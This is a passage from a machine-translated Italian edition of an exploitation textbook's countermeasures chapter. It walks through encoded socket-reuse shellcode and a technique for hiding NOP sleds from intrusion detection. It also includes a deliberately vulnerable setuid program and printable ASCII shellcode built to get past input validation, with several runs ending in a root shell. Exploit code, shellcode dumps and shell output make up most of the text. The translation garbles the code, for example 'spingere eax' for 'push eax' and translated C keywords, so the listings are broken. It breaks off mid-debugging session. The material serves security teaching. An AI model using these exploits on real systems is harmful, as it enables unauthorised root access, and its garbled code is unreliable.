int3; Punto di interruzione dopo la decodifica (RIMUOVERE QUANDO NON SI DEBUGGING)

xor edx, edx


push edx ; spingere il terminatore null a 32 bit allo stack.
mov edx, esp; Questo è un array vuoto per envp.

360 0x600

Pagina 375

push ebx ; spingere la stringa addr per impilare sopra il terminatore nullo.
mov ecx, esp; Questo è l'array argv con la stringa ptr.
int 0x80 ; execve ("/ bin // sh", ["/ bin // sh", NULL], [NULL])

Il ciclo di decodifica utilizza il registro EDX come contatore. Inizia alle 8


e conta alla rovescia fino a 0, poiché è necessario decodificare 8 byte. Indirizzi esatti dello stack
non importa in questo caso poiché le parti importanti sono tutte relativamente affrontate,
quindi l'output di seguito non si preoccupa di collegarsi a un processo tinywebd esistente.

reader @ hacking: ~ / booksrc $ gcc -g tinywebd.c


lettore @ hacking: ~ / booksrc $ sudo gdb -q ./a.out

avviso: non si utilizza un file non attendibile "/home/reader/.gdbinit"


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set disassembly-flavour intel
(gdb) imposta la modalità figlio follow-fork
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out
Avvio di tiny web daemon ..

Poiché i punti di interruzione fanno effettivamente parte dello shellcode, non è necessario
per impostarne uno da GDB. Da un altro terminale, lo shellcode viene assemblato e
utilizzato con lo strumento exploit per il riutilizzo dei socket.

Da un altro terminale

lettore @ hacking: ~ / booksrc $ nasm encoded_sockreuserestore_dbg.s


reader @ hacking: ~ / booksrc $ ./xtool_tinywebd_reuse.sh encoded_socketreuserestore_dbg 127.0.0.1
IP di destinazione: 127.0.0.1
shellcode: encoded_sockreuserestore_dbg (72 byte)
richiesta falsa: "GET / HTTP / 1.1 \ x00" (15 byte)
[Fake Request 15] [spoof IP 16] [NOP 313] [shellcode 72] [ret addr 128] [* fake_addr 8]
localhost [127.0.0.1] 80 (www) aperto

Di nuovo nella finestra GDB, viene visualizzata la prima istruzione int3 nello shellcode.
Da qui, possiamo verificare che la stringa decodifica correttamente.

Il programma ha ricevuto il segnale SIGTRAP, Trace / breakpoint trap.


[Passaggio all'elaborazione 12400]
0xbffff6ab in ?? ()
(gdb) x / 10i $ eip
0xbffff6ab: push 0x8
0xbffff6ad: pop edx
0xbffff6ae: sub BYTE PTR [ebx + edx], 0x5
0xbffff6b2: dec edx
0xbffff6b3: jns 0xbffff6ae
0xbffff6b5 int3
0xbffff6b6: xor edx, edx
0xbffff6b8: push edx
0xbffff6b9: mov edx, esp
0xbffff6bb: spingere ebx
(gdb) x / 8c $ ebx

Contromisure 361

Pagina 376

0xbffff738: 52 '4' 103 'g' 110 'n' 115 's' 52 '4' 120 'x' 109 'm' 5 '\ 005'
(gdb) cont
Continuando.
[tcsetpgrp non riuscito in terminal_inferior: operazione non consentita]

Il programma ha ricevuto il segnale SIGTRAP, Trace / breakpoint trap.


0xbffff6b6 in ?? ()
(gdb) x / 8c $ ebx
0xbffff738: 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\ 0'
(gdb) x / s $ ebx
0xbffff738: "/ bin / sh"
(gdb)

Ora che la decodifica è stata verificata, le istruzioni int3 possono essere


rimosso dallo shellcode. Il seguente output mostra lo shellcode finale
in uso.

reader @ hacking: ~ / booksrc $ sed -e 's / int3 /; int3 / g' encoded_sockreuserestore_dbg.s>


encoded_sockreuserestore.s
reader @ hacking: ~ / booksrc $ diff encoded_sockreuserestore_dbg.s encoded_sockreuserestore.s 33c33
<int3; Punto di interruzione prima della decodifica (RIMUOVERE QUANDO NON SI DEBUGGING)
>; int3; Punto di interruzione prima della decodifica (RIMUOVERE QUANDO NON SI DEBUGGING)
42c42
<int3; Punto di interruzione dopo la decodifica (RIMUOVERE QUANDO NON SI DEBUGGING)
>; int3; Punto di interruzione dopo la decodifica (RIMUOVERE QUANDO NON SI DEBUGGING)
reader @ hacking: ~ / booksrc $ nasm encoded_sockreuserestore.s
reader @ hacking: ~ / booksrc $ hexdump -C encoded_sockreuserestore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f | jX ... t..l $ hh .. |
00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 b0 3f | .... T $ \ .. j.Y1 ..? |
00000020 cd 80 49 79 f9 b0 0b 68 34 78 6d 05 68 34 67 6e | ..Iy ... h4xm.h4gn |
00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 f9 31 d2 52 | s..jZ, .. Jy.1.R |
00000040 89 e2 53 89 e1 cd 80 | ..S .... |
00000047
lettore @ hacking: ~ / booksrc $ ./tinywebd
Avvio di tiny web daemon ..
reader @ hacking: ~ / booksrc $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore 127.0.0.1
IP di destinazione: 127.0.0.1
shellcode: encoded_sockreuserestore (71 byte)
richiesta falsa: "GET / HTTP / 1.1 \ x00" (15 byte)
[Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [* fake_addr 8]
localhost [127.0.0.1] 80 (www) aperto
chi sono
radice

0x682 Come nascondere una slitta


La slitta NOP è un'altra firma facile da rilevare dagli ID di rete e dagli IPS.
Grandi blocchi di 0x90 non sono così comuni, quindi se un meccanismo di sicurezza di rete
vede qualcosa di simile, probabilmente è un exploit. Per evitare questa firma, noi
può utilizzare diverse istruzioni a byte singolo invece di NOP. Ce ne sono diversi
istruzioni di un byte: le istruzioni di incremento e decremento per vari
registri, che sono anche caratteri ASCII stampabili.

362 0x600
Pagina 377

Istruzioni EsadecimaleASCII

inc eax 0x40 @

inc ebx 0x43 C

inc ecx 0x41 UN

inc edx 0x42 B

dec eax 0x48 H

dec ebx 0x4B K

dec ecx 0x49 io

dec edx 0x4A J

Poiché azzeriamo questi registri prima di usarli, possiamo tranquillamente usare un file
combinazione casuale di questi byte per la slitta NOP. Creazione di un nuovo exploit
strumento che utilizza combinazioni casuali di byte @ , C , A , B , H , K , I e J invece
di una normale slitta NOP sarà lasciato come esercizio per il lettore. Il più facile
il modo per farlo sarebbe scrivere un programma di generazione di slitte in C, che è
utilizzato con uno script BASH. Questa modifica nasconderà il buffer di exploit da
IDS che cercano una slitta NOP.

0x690 Restrizioni del buffer


A volte un programma pone determinate restrizioni sui buffer. Questo tipo di
il controllo dell'integrità dei dati può prevenire molte vulnerabilità. Considera quanto segue
programma di esempio, che viene utilizzato per aggiornare le descrizioni dei prodotti in modo fittizio
Banca dati. Il primo argomento è il codice del prodotto e il secondo è il
descrizione aggiornata. Questo programma in realtà non aggiorna un database, ma
ha un'ovvia vulnerabilità in esso.

update_info.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAX_ID_LEN 40
#define MAX_DESC_LEN 500

/ * Barf un messaggio ed esci. * /


void barf (char * message, void * extra) {
printf (messaggio, extra);
uscita (1);
}

/ * Immagina che questa funzione aggiorni una descrizione del prodotto in un database. */
void update_product_description (char * id, char * desc)
{
char product_code [5], descrizione [MAX_DESC_LEN];

printf ("[DEBUG]: la descrizione è in% p \ n", descrizione);

Contromisure 363

Pagina 378

strncpy (descrizione, desc, MAX_DESC_LEN);


strcpy (product_code, id);

printf ("Aggiornamento del prodotto #% s con descrizione \ '% s \' \ n", codice_prodotto, desc);
// Aggiornare il database
}

int main (int argc, char * argv [], char * envp [])
{
int i;
char * id, * desc;

if (argc <2)
barf ("Utilizzo:% s <id> <description> \ n", argv [0]);
id = argv [1]; // id - Codice del prodotto da aggiornare nel DB
desc = argv [2]; // desc - Descrizione dell'articolo da aggiornare

if (strlen (id)> MAX_ID_LEN) // id deve essere inferiore a MAX_ID_LEN byte.


barf ("Fatale: l'argomento id deve essere inferiore a% u byte \ n", (void *) MAX_ID_LEN);

for (i = 0; i <strlen (desc) -1; i ++) {// Consenti solo byte stampabili in desc.
if (! (isprint (desc [i])))
barf ("Fatale: l'argomento della descrizione può contenere solo byte stampabili \ n", NULL);
}

// Svuotare la memoria dello stack (sicurezza)


// Cancellazione di tutti gli argomenti tranne il primo e il secondo
memset (argv [0], 0, strlen (argv [0]));
for (i = 3; argv [i]! = 0; i ++)
memset (argv [i], 0, strlen (argv [i]));
// Cancellazione di tutte le variabili d'ambiente
for (i = 0; envp [i]! = 0; i ++)
memset (envp [i], 0, strlen (envp [i]));

printf ("[DEBUG]: desc è in% p \ n", desc);

update_product_description (id, desc); // Aggiornare il database.


}

Nonostante la vulnerabilità, il codice fa un tentativo di sicurezza.


La lunghezza dell'argomento ID prodotto è limitata e il contenuto del file
gli argomenti della descrizione sono limitati ai caratteri stampabili. Inoltre, il
le variabili di ambiente inutilizzate e gli argomenti del programma vengono cancellati
ragioni di sicurezza. Il primo argomento ( id ) è troppo piccolo per lo shellcode e da allora
il resto della memoria dello stack viene cancellato, è rimasto solo un posto.

364 0x600

Pagina 379

reader @ hacking: ~ / booksrc $ gcc -o update_info update_info.c


reader @ hacking: ~ / booksrc $ sudo chown root ./update_info
lettore @ hacking: ~ / booksrc $ sudo chmod u + s ./update_info
lettore @ hacking: ~ / booksrc $ ./update_info
Utilizzo: ./update_info <id> <description>
reader @ hacking: ~ / booksrc $ ./update_info OCP209 "Enforcement Droid"
[DEBUG]: la descrizione è a 0xbffff650
Aggiornamento del prodotto n. OCP209 con la descrizione "Enforcement Droid"
lettore @ hacking: ~ / booksrc $
reader @ hacking: ~ / booksrc $ ./update_info $ (perl -e 'print "AAAA" x10') blah
[DEBUG]: la descrizione è a 0xbffff650
Errore di segmentazione
lettore @ hacking: ~ / booksrc $ ./update_info $ (perl -e 'print "\ xf2 \ xf9 \ xff \ xbf" x10') $ (cat ./
shellcode.bin)
Fatale: l'argomento della descrizione può contenere solo byte stampabili
lettore @ hacking: ~ / booksrc $

Questo output mostra un utilizzo di esempio e quindi tenta di sfruttare il vulnerabile


chiamata strcpy () . Sebbene l'indirizzo del mittente possa essere sovrascritto utilizzando il primo
argomento ( id ), l'unico posto in cui possiamo mettere lo shellcode è nel secondo argomento
( desc ). Tuttavia, questo buffer viene controllato per i byte non stampabili. Il debug
l'output seguente conferma che questo programma potrebbe essere sfruttato, se ci fosse un file
modo per inserire lo shellcode nell'argomento della descrizione.

lettore @ hacking: ~ / booksrc $ gdb -q ./update_info


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) esegui $ (perl -e 'print "\ xcb \ xf9 \ xff \ xbf" x10') blah
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y

Avvio del programma: / home / reader / booksrc / update_info $ (perl -e 'print "\ xcb \ xf9 \ xff \ xbf" x10')
blah
[DEBUG]: desc è a 0xbffff9cb
Aggiornamento del prodotto n. Con descrizione "blah"

Il programma ha ricevuto il segnale SIGSEGV, errore di segmentazione.


0xbffff9cb in ?? ()
(gdb) ir eip
eip 0xbffff9cb 0xbffff9cb
(gdb) x / s $ eip
0xbffff9cb: "blah"
(gdb)

La convalida dell'input stampabile è l'unica cosa che ferma lo sfruttamento.


Come la sicurezza aeroportuale, questo ciclo di convalida dell'input controlla tutto ciò che arriva
in. E sebbene non sia possibile evitare questo controllo, ci sono modi per contrabbandare
dati illeciti oltre le guardie.

Contromisure 365

Pagina 380

0x691 Shellcode ASCII stampabile polimorfico


Lo shellcode polimorfico si riferisce a qualsiasi shellcode che cambia se stesso. La codifica
lo shellcode della sezione precedente è tecnicamente polimorfico, poiché esso
modifica la stringa che usa mentre è in esecuzione. La nuova slitta NOP utilizza le istruzioni
che si assemblano in byte ASCII stampabili. Ci sono altre istruzioni
che rientrano in questo intervallo stampabile (da 0x33 a 0x7e ); tuttavia, il set totale
è in realtà piuttosto piccolo.
L'obiettivo è scrivere uno shellcode che superi il carattere stampabile
dai un'occhiata. Cercando di scrivere un codice shell complesso con un set di istruzioni così limitato
sarebbe semplicemente masochista, quindi invece lo shellcode stampabile utilizzerà simple
metodi per costruire shellcode più complessi sullo stack. In questo modo, la stampa
lo shellcode in grado sarà effettivamente istruzioni per creare il vero shellcode.
Il primo passo è trovare un modo per azzerare i registri. Sfortunatamente, il file
Le istruzioni XOR sui vari registri non si assemblano nel file stampabile
Intervallo di caratteri ASCII. Un'opzione è usare l'operazione AND bit per bit, che
si assembla nel carattere percentuale ( % ) quando si utilizza il registro EAX. Il
istruzioni di assemblaggio di e eax, 0x41414141 verrà assemblato allo stampabile
codice macchina di % AAAA , poiché 0x41 in esadecimale è il carattere stampabile A .
Un'operazione AND trasforma i bit come segue:
1e1=1
0e0=0
1e0=0
0e1=0

Poiché l'unico caso in cui il risultato è 1 è quando entrambi i bit sono 1, se due
i valori inversi vengono inseriti in AND su EAX, EAX diventerà zero.

Binario Esadecimale
1000101010011100100111101001010 0x454e4f4a
AND 0111010001100010011000000110101 AND 0x3a313035
------------------------------------ -------------- -
0000000000000000000000000000000 0x00000000

Pertanto, utilizzando due valori stampabili a 32 bit che sono inversi bit per bit di ciascuno
altro, il registro EAX può essere azzerato senza utilizzare byte nulli e il
il codice macchina assemblato risultante sarà testo stampabile.

e eax, 0x454e4f4a; Si assembla in% JONE


e eax, 0x3a313035; Assembla in% 501:

Quindi % JONE% 501: nel codice macchina azzererà il registro EAX. Interessante.
Alcune altre istruzioni che si assemblano in caratteri ASCII stampabili sono
mostrato nella casella sottostante.

sub eax, 0x41414141 -AAAA


spingere eax P
pop eax X
spingere esp T
pop esp \

366 0x600

Pagina 381

Sorprendentemente, queste istruzioni, combinate con l' istruzione AND eax ,


sono sufficienti per costruire il codice del caricatore che inietterà lo shellcode nello stack
e quindi eseguirlo. La tecnica generale è, in primo luogo, riportare l'ESP dietro al
eseguendo il codice del caricatore (in indirizzi di memoria superiori), e quindi per creare il file
shellcode dall'inizio alla fine inserendo i valori nello stack, come mostrato qui.
Poiché lo stack cresce (da indirizzi di memoria più alti a memoria inferiore
indirizzi), l'ESP si sposterà all'indietro man mano che i valori vengono inseriti nello stack,
e l'EIP si muoverà in avanti durante l'esecuzione del codice del caricatore. Infine,
EIP ed ESP si incontreranno e l'EIP continuerà ad essere eseguito nel
shellcode appena costruito.

1)

Codice caricatore

EIP ESP

2)

Codice caricatore Shellcode

EIP ESP

3)

Codice caricatore Shellcode in costruzione

EIP ESP
o

Innanzitutto, ESP deve essere impostato dietro lo shellcode del caricatore stampabile. Un po
il debug con GDB mostra che dopo aver ottenuto il controllo dell'esecuzione del programma,
L'ESP è di 555 byte prima dell'inizio del buffer di overflow (che conterrà l'estensione
codice caricatore). Il registro ESP deve essere spostato quindi è dopo il codice del caricatore,
lasciando ancora spazio per il nuovo shellcode e per lo shellcode del caricatore
si. Circa 300 byte dovrebbero essere abbastanza spazio per questo, quindi aggiungiamo 860 byte
a ESP per metterlo 305 byte dopo l'inizio del codice del caricatore. Questo valore no
devono essere esatti, poiché in seguito verranno prese disposizioni per consentire un po 'di sbavatura.
Poiché l'unica istruzione utilizzabile è la sottrazione, l'addizione può essere simulata da
sottraendo così tanto dal registro che si avvolge. Solo il registro
ha 32 bit di spazio, quindi aggiungere 860 a un registro equivale a sottrarre 860
da 2 32 , o 4.294.966.436. Tuttavia, questa sottrazione deve utilizzare solo stampabile
valori, quindi lo dividiamo in tre istruzioni che utilizzano tutte operandi stampabili.

sub eax, 0x39393333; Assembla in -3399


sub eax, 0x72727550; Si assembla in -Purr
sub eax, 0x54545421; Si assembla in -! TTT

Come conferma l'output GDB, sottraendo questi tre valori da 32 bit


numero equivale ad aggiungere 860.

Contromisure 367

Pagina 382

lettore @ hacking: ~ / booksrc $ gdb -q


(gdb) print 0 - 0x39393333 - 0x72727550 - 0x54545421
$ 1 = 860
(gdb)
L'obiettivo è sottrarre questi valori dall'ESP, non dall'EAX, ma dall'istruzione
sub espnon si assembla in un carattere ASCII stampabile. Quindi il valore attuale
di ESP deve essere spostato in EAX per la sottrazione, quindi il nuovo valore di
EAX deve essere spostato nuovamente in ESP.
Tuttavia, poiché né mov esp, eax né mov eax, esp si assemblano in
caratteri ASCII stampabili, questo scambio deve essere fatto utilizzando lo stack. Di
spingendo il valore dal registro sorgente allo stack e quindi estraendolo
off nel registro di destinazione, l'equivalente di un'istruzione mov dest, source
può essere realizzato con push source e pop dest . Fortunatamente, il pop e
le istruzioni pushper i registri EAX ed ESP si assemblano in ASCII stampabile
caratteri, quindi tutto questo può essere fatto utilizzando ASCII stampabile.
Ecco il set finale di istruzioni per aggiungere 860 a ESP.

spingere esp ; Si monta in T


pop eax ; Si assembla in X

sub eax, 0x39393333; Assembla in -3399


sub eax, 0x72727550; Si assembla in -Purr
sub eax, 0x54545421; Si assembla in -! TTT

spingere eax ; Si assembla in P


pop esp ; Si assembla in \

Ciò significa che TX-3399-Purr-! TTT-P \ aggiungerà 860 a ESP nella macchina
codice. Fin qui tutto bene. Ora è necessario creare lo shellcode.
Innanzitutto, EAX deve essere azzerato; questo è facile ora che un metodo è stato
scoperto. Quindi, utilizzando più istruzioni secondarie , il registro EAX deve essere
impostato sugli ultimi quattro byte dello shellcode, in ordine inverso. Dal momento che lo stack
normalmente cresce verso l'alto (verso indirizzi di memoria inferiori) e si costruisce con a
Ordinando FILO, il primo valore inserito nello stack devono essere gli ultimi quattro byte
dello shellcode. Questi byte devono essere in ordine inverso, a causa del little endian
ordinamento dei byte. Il seguente output mostra un dump esadecimale dello standard
dard shellcode usato nei capitoli precedenti, che sarà costruito dal print-
codice caricatore in grado.

lettore @ hacking: ~ / booksrc $ hexdump -C ./shellcode.bin


00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 | 1.1.1 ...... j.XQh |
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 | //shh/bin..Q..S. |
00000020 e1 cd 80 | ... |

In questo caso, gli ultimi quattro byte vengono visualizzati in grassetto; il valore corretto per
il registro EAX è 0x80cde189 . Questo è facile da fare usando le istruzioni secondarie a
avvolgere il valore intorno. Quindi, EAX può essere inserito nello stack. Questo si muove

368 0x600

Pagina 383

ESP in alto (verso indirizzi di memoria inferiori) fino alla fine del nuovo push
valore, pronto per i prossimi quattro byte di shellcode (mostrato in corsivo nel pre-
ceding shellcode). Altre istruzioni secondarie vengono utilizzate per avvolgere EAX
0x53e28951 e questo valore viene quindi inserito nello stack. Poiché questo processo è
ripetuto per ogni blocco di quattro byte, lo shellcode viene costruito dall'inizio alla fine,
verso il codice del caricatore in esecuzione.

00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 | 1.1.1 ...... j.XQh |


00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 | //shh/bin..Q..S. |
00000020 e1 cd 80 | ... |

Alla fine, viene raggiunto l'inizio dello shellcode, ma ce ne sono solo


tre byte (mostrati in corsivo nello shellcode precedente) rimasti dopo aver premuto
0x99c931db nellostack. Questa situazione viene alleviata inserendo una singola
byte NOP istruzione all'inizio del codice, risultante nel valore
0x31c03190 viene inserito nello stack: 0x90 è il codice macchina per NOP.
Ciascuno di questi blocchi di quattro byte dello shellcode originale viene generato
con il metodo di sottrazione stampabile utilizzato in precedenza. La seguente fonte
code è un programma che aiuta a calcolare i valori stampabili necessari.

printable_helper.c

#include <stdio.h>
#include <sys / stat.h>
#include <ctype.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>

#define CHR "% _01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-"

int main (int argc, char * argv [])


{
targ int senza segno, last, t [4], l [4];
unsigned int try, single, carry = 0;
int len, a, i, j, k, m, z, flag = 0;
parola char [3] [4];
mem char non firmato [70];

if (argc <2) {
printf ("Utilizzo:% s <valore iniziale EAX> <valore finale EAX> \ n", argv [0]);
uscita (1);
}

srand (time (NULL));


bzero (mem, 70);
strcpy (mem, CHR);
len = strlen (mem);
strfry (mem); // Rendi casuale
last = strtoul (argv [1], NULL, 0);
targ = strtoul (argv [2], NULL, 0);

Contromisure 369
Pagina 384

printf ("calcolo dei valori stampabili da sottrarre da EAX .. \ n \ n");


t [3] = (targ & 0xff000000) >> 24; // Divisione per byte
t [2] = (targ & 0x00ff0000) >> 16;
t [1] = (targ & 0x0000ff00) >> 8;
t [0] = (targ & 0x000000ff);
l [3] = (last & 0xff000000) >> 24;
l [2] = (last & 0x00ff0000) >> 16;
l [1] = (last & 0x0000ff00) >> 8;
l [0] = (last & 0x000000ff);

for (a = 1; a <5; a ++) {// Value count


carry = flag = 0;
for (z = 0; z <4; z ++) {// Conteggio byte
for (i = 0; i <len; i ++) {
for (j = 0; j <len; j ++) {
for (k = 0; k <len; k ++) {
for (m = 0; m <len; m ++)
{
se (a <2) j = len + 1;
se (a <3) k = len + 1;
se (a <4) m = len + 1;
try = t [z] + carry + mem [i] + mem [j] + mem [k] + mem [m];
single = (prova & 0x000000ff);
if (single == l [z])
{
carry = (try & 0x0000ff00) >> 8;
if (i <len) parola [0] [z] = mem [i];
if (j <len) parola [1] [z] = mem [j];
if (k <len) parola [2] [z] = mem [k];
if (m <len) parola [3] [z] = mem [m];
i = j = k = m = len + 2;
flag ++;
}
}
}
}
}
}
if (flag == 4) {// Se vengono trovati tutti e 4 i byte
printf ("inizio: 0x% 08x \ n \ n", ultimo);
per (i = 0; i <a; i ++)
printf ("- 0x% 08x \ n", * ((unsigned int *) word [i]));
printf ("------------------- \ n");
printf ("fine: 0x% 08x \ n", targ);

uscita (0);
}
}

Quando questo programma viene eseguito, si aspetta due argomenti: l'inizio e il


valori finali per EAX. Per lo shellcode del caricatore stampabile, EAX è azzerato su
inizia con e il valore finale dovrebbe essere 0x80cde189 . Questo valore corrisponde a
gli ultimi quattro byte da shellcode.bin.

370 0x600

Pagina 385

reader @ hacking: ~ / booksrc $ gcc -o printable_helper printable_helper.c


reader @ hacking: ~ / booksrc $ ./printable_helper 0 0x80cde189
calcolo dei valori stampabili da sottrarre da EAX ..

inizio: 0x00000000

- 0x346d6d25
- 0x256d6d25
- 0x2557442d
-------------------
fine: 0x80cde189
lettore @ hacking: ~ / booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 | 1.1.1 ...... j.XQh |
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 | //shh/bin..Q..S. |
00000020 e1 cd 80 | ... |
00000023
lettore @ hacking: ~ / booksrc $ ./printable_helper 0x80cde189 0x53e28951
calcolo dei valori stampabili da sottrarre da EAX ..

inizio: 0x80cde189

- 0x59316659
- 0x59667766
- 0x7a537a79
-------------------
fine: 0x53e28951
lettore @ hacking: ~ / booksrc $

L'output sopra mostra i valori stampabili necessari per racchiudere lo zero


EAX registra intorno a 0x80cde189 (mostrato in grassetto). Successivamente, EAX dovrebbe essere
avvolto di nuovo intorno a 0x53e28951 per i prossimi quattro byte dello shellcode
(edificio all'indietro). Questo processo viene ripetuto finché non viene creato tutto lo shellcode.
Il codice per l'intero processo è mostrato di seguito.

stampabile.s

BITS 32
spingere esp ; Metti l'ESP attuale
pop eax ; in EAX.
sub eax, 0x39393333; Sottrai i valori stampabili
sub eax, 0x72727550; per aggiungere 860 a EAX.
sub eax, 0x54545421
spingere eax ; Rimetti EAX in ESP.
pop esp ; Effettivamente ESP = ESP + 860
e eax, 0x454e4f4a
e eax, 0x3a313035; Azzera EAX.

sub eax, 0x346d6d25; Sottrai i valori stampabili


sub eax, 0x256d6d25; per rendere EAX = 0x80cde189.
sub eax, 0x2557442d; (ultimi 4 byte da shellcode.bin)
spingere eax ; Spingere questi byte per impilare su ESP.
sub eax, 0x59316659; Sottrai più valori stampabili
sub eax, 0x59667766; per rendere EAX = 0x53e28951.
sub eax, 0x7a537a79; (prossimi 4 byte di shellcode dalla fine)

Contromisure 371

Pagina 386

spingere eax
sub eax, 0x25696969
sub eax, 0x25786b5a
sub eax, 0x25774625
spingere eax ; EAX = 0xe3896e69
sub eax, 0x366e5858
sub eax, 0x25773939
sub eax, 0x25747470
spingere eax ; EAX = 0x622f6868
sub eax, 0x25257725
sub eax, 0x71717171
sub eax, 0x5869506a
spingere eax ; EAX = 0x732f2f68
sub eax, 0x63636363
sub eax, 0x44307744
sub eax, 0x7a434957
spingere eax ; EAX = 0x51580b6a
sub eax, 0x63363663
sub eax, 0x6d543057
spingere eax ; EAX = 0x80cda4b0
sub eax, 0x54545454
sub eax, 0x304e4e25
sub eax, 0x32346f25
sub eax, 0x302d6137
spingere eax ; EAX = 0x99c931db
sub eax, 0x78474778
sub eax, 0x78727272
sub eax, 0x774f4661
spingere eax ; EAX = 0x31c03190
sub eax, 0x41704170
sub eax, 0x2d772d4e
sub eax, 0x32483242
spingere eax ; EAX = 0x90909090
spingere eax
spingere eax ; Costruisci una slitta NOP.
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax
spingere eax

372 0x600

Pagina 387

Alla fine, lo shellcode è stato costruito da qualche parte dopo il caricatore


codice, molto probabilmente lasciando uno spazio tra lo shellcode appena creato e il
esecuzione del codice del caricatore. Questo divario può essere colmato costruendo una slitta NOP
tra il codice del caricatore e lo shellcode.
Ancora una volta, le istruzioni secondarie vengono utilizzate per impostare EAX su 0x90909090 e
EAX viene ripetutamente inserito nello stack. Con ogni istruzione push , quattro NOP
le istruzioni sono attaccate all'inizio dello shellcode. Alla fine, questi
Le istruzioni NOP verranno costruite proprio sopra le istruzioni push in esecuzione del file
codice del caricatore, che consente all'EIP e all'esecuzione del programma di fluire sulla slitta
nello shellcode.
Questo si assembla in una stringa ASCII stampabile, che funge anche da eseguibile
codice macchina.

reader @ hacking: ~ / booksrc $ nasm printable.s


lettore @ hacking: ~ / booksrc $ echo $ (cat ./printable)
TX-3399-Purr-! TTTP \% JONE% 501: -% mm4-% mm% - DW% P-Yf1Y-fwfY-yzSzP-iii% -Zkx% -% Fw% P-XXn6-99w% -ptt % P-
% w %% - qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-% NN0-% o42-7a-0P-xGGx-rrrx-aFOwP-pApA-Nw--
B2H2PPPPPPPPPPPPPPPPPPPPPP
lettore @ hacking: ~ / booksrc $

Questo codice shell ASCII stampabile può ora essere utilizzato per contrabbandare l'effettivo
shellcode oltre la routine di convalida dell'input del programma update_info.

reader @ hacking: ~ / booksrc $ ./update_info $ (perl -e 'print "AAAA" x10') $ (cat ./printable)
[DEBUG]: l'argomento desc è a 0xbffff910
Errore di segmentazione
lettore @ hacking: ~ / booksrc $ ./update_info $ (perl -e 'print "\ x10 \ xf9 \ xff \ xbf" x10') $ (cat ./
stampabile)
[DEBUG]: l'argomento desc è a 0xbffff910
Aggiornamento prodotto ########### con descrizione 'TX-3399-Purr-! TTTP \% JONE% 501: -% mm4-% mm% - DW% P-
Yf1Y-fwfY-yzSzP-iii% -Zkx% -% Fw% P-XXn6-99w% -ptt% P-% w %% - qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-
TTTT-% NN0-% o42-7a-0P-xGGx-rrrx-aFOwP-pApA-Nw - B2H2PPPPPPPPPPPPPPPPPPPPPPP '
sh-3.2 # whoami
radice
sh-3.2 #

Neat. Nel caso tu non fossi in grado di seguire tutto quello che è appena successo
lì, l'output sotto osserva l'esecuzione dello shellcode stampabile
in GDB. Gli indirizzi dello stack saranno leggermente diversi, cambiando il ritorno
indirizzi, ma ciò non influirà sullo shellcode stampabile: calcola la sua posizione
basata su ESP, dandogli questa versatilità.

lettore @ hacking: ~ / booksrc $ gdb -q ./update_info


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disassembla update_product_description
Dump del codice assembler per la funzione update_product_description:
0x080484a8 <update_product_description + 0>: push ebp
0x080484a9 <update_product_description + 1>: mov ebp, esp
0x080484ab <update_product_description + 3>: sub esp, 0x28
0x080484ae <update_product_description + 6>: mov eax, DWORD PTR [ebp + 8]
0x080484b1 <update_product_description + 9>: mov DWORD PTR [esp + 4], eax

Contromisure 373

Pagina 388

0x080484b5 <update_product_description + 13>: lea eax, [ebp-24]


0x080484b8 <update_product_description + 16>: mov DWORD PTR [esp], eax
0x080484bb <update_product_description + 19>: chiama 0x8048388 <strcpy @ plt>
0x080484c0 <update_product_description + 24>: mov eax, DWORD PTR [ebp + 12]
0x080484c3 <update_product_description + 27>: mov DWORD PTR [esp + 8], eax
0x080484c7 <update_product_description + 31>: lea eax, [ebp-24]
0x080484ca <update_product_description + 34>: mov DWORD PTR [esp + 4], eax
0x080484ce <update_product_description + 38>: mov DWORD PTR [esp], 0x80487a0
0x080484d5 <update_product_description + 45>: chiama 0x8048398 <printf @ plt>
0x080484da <update_product_description + 50>: leave
0x080484db <update_product_description + 51>: ret
Fine del dump dell'assemblatore.
(gdb) break * 0x080484db
Breakpoint 1 in 0x80484db: file update_info.c, riga 21.
(gdb) esegui $ (perl -e 'print "AAAA" x10') $ (cat ./printable)
Avvio del programma: / home / reader / booksrc / update_info $ (perl -e 'print "AAAA" x10') $ (cat ./
stampabile)
[DEBUG]: l'argomento desc è in 0xbffff8fd

Il programma ha ricevuto il segnale SIGSEGV, errore di segmentazione.


0xb7f06bfb in strlen () da /lib/tls/i686/cmov/libc.so.6
(gdb) esegui $ (perl -e 'print "\ xfd \ xf8 \ xff \ xbf" x10') $ (cat ./printable)
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y

Avvio del programma: / home / reader / booksrc / update_info $ (perl -e 'print "\ xfd \ xf8 \ xff \ xbf" x10')
$ (cat ./printable)
[DEBUG]: l'argomento desc è in 0xbffff8fd
